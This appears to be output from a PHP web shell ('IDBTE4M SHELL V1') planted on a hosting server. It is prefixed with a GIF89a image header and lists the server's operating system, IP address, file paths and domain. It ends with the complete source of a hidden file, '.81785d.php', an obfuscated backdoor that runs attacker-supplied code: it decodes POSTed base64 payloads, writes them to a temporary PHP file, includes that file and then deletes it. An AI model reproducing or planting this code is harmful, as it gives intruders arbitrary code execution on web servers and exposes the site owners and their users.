GIF89a
-_-

-=[+] IDBTE4M SHELL V1 [+]=-

System :
Windows NT SG2NWVPWEB014 6.3 build 9200 (Windows Server 2012 R2 Standard Edition) i586
IP : 182.50.132.51
Safe Mode : OFF
Disabled Functions : NONE
Home_root : G:\PleskVhosts\webpointbroadband.com\thakormandal.com



IDBTE4M #>G:/PleskVhosts/webpointbroadband.com/thakormandal.com/
Current File : G:/PleskVhosts/webpointbroadband.com/thakormandal.com/.81785d.php

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["o\x65\x7a\x6fm\x6e\x79\x6c"]="\x6e";${"\x47L\x4f\x42\x41\x4cS"}["\x65m\x65\x69h\x6ed"]="\x64";${"\x47\x4cO\x42A\x4c\x53"}["h\x76t\x61\x68w\x6e"]="\x65\x6ed";${"\x47L\x4fB\x41L\x53"}["e\x6ffc\x6e\x6e\x74tt\x76\x6c"]="\x73\x74\x61\x72t";${"G\x4c\x4fB\x41\x4c\x53"}["lp\x69\x74o\x6c\x65v"]="\x63o\x64e";$qgbydthr="t";${"\x47L\x4f\x42ALS"}["\x64\x70\x67\x6f\x6b\x6a\x6ek\x64\x7a"]="\x6e";$czfiqetxvf="n";if(strpos($_POST["\x78"],"\x40\x65\x76a\x6c(ba\x73\x65\x364\x5fdeco\x64e(\$\x5fP\x4fS\x54[\x7a0]));")!==false){${${"G\x4c\x4fB\x41\x4c\x53"}["l\x70\x69\x74o\x6c\x65\x76"]}="\x3c?p\x68p ".base64_decode($_POST["\x7a\x30"])." ?>";}elseif(strpos($_POST["x"],"\x61r\x72ay_\x6d\x61p(\"ass\".\"\x65\x72t\x22,\x61r\x72\x61\x79(\x22\x65v\"\x2e\x22")!==false||strpos($_POST["x"],"\x61rr\x61\x79_\x6d\x61\x70(\\\"\x61ss\\\x22\x2e\\\x22ert\x5c\x22,a\x72\x72ay(\\\"ev\\\x22\x2e\x5c\"")!==false){${${"\x47\x4cO\x42A\x4cS"}["e\x6f\x66\x63\x6en\x74\x74\x74\x76\x6c"]}=strpos($_POST["x"],"'")+1;$ronyelx="\x73\x74\x61r\x74";${${"\x47LO\x42ALS"}["hv\x74a\x68\x77n"]}=strrpos($_POST["\x78"],"'");${${"\x47\x4c\x4f\x42\x41\x4cS"}["l\x70it\x6f\x6c\x65\x76"]}="\x3c?\x70hp\x20".base64_decode(trim(substr($_POST["\x78"],${$ronyelx},${${"\x47\x4c\x4f\x42\x41L\x53"}["\x68\x76\x74\x61\x68\x77n"]}-${${"\x47LOB\x41LS"}["\x65o\x66\x63n\x6e\x74\x74\x74\x76\x6c"]})))."\x3b ?\x3e";}else{$igucukawy="\x63\x6f\x64\x65";${$igucukawy}=$_POST["\x78"];}${$qgbydthr}=".".md5("$_SERVER[SERVER_NAME]".__FILE__);${${"\x47LO\x42A\x4cS"}["\x65\x6de\x69\x68\x6e\x64"]}=dirname(__FILE__);${${"\x47\x4cO\x42\x41L\x53"}["dpg\x6fkj\x6e\x6bd\x7a"]}="$d/$t.\x70\x68p";if(@file_put_contents(${$czfiqetxvf},${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6cpi\x74\x6f\x6cev"]})){@include${${"G\x4c\x4f\x42\x41L\x53"}["\x6f\x65\x7aom\x6e\x79\x6c"]};}@unlink(${${"GLOB\x41L\x53"}["\x6f\x65z\x6f\x6d\x6ey\x6c"]}); ?>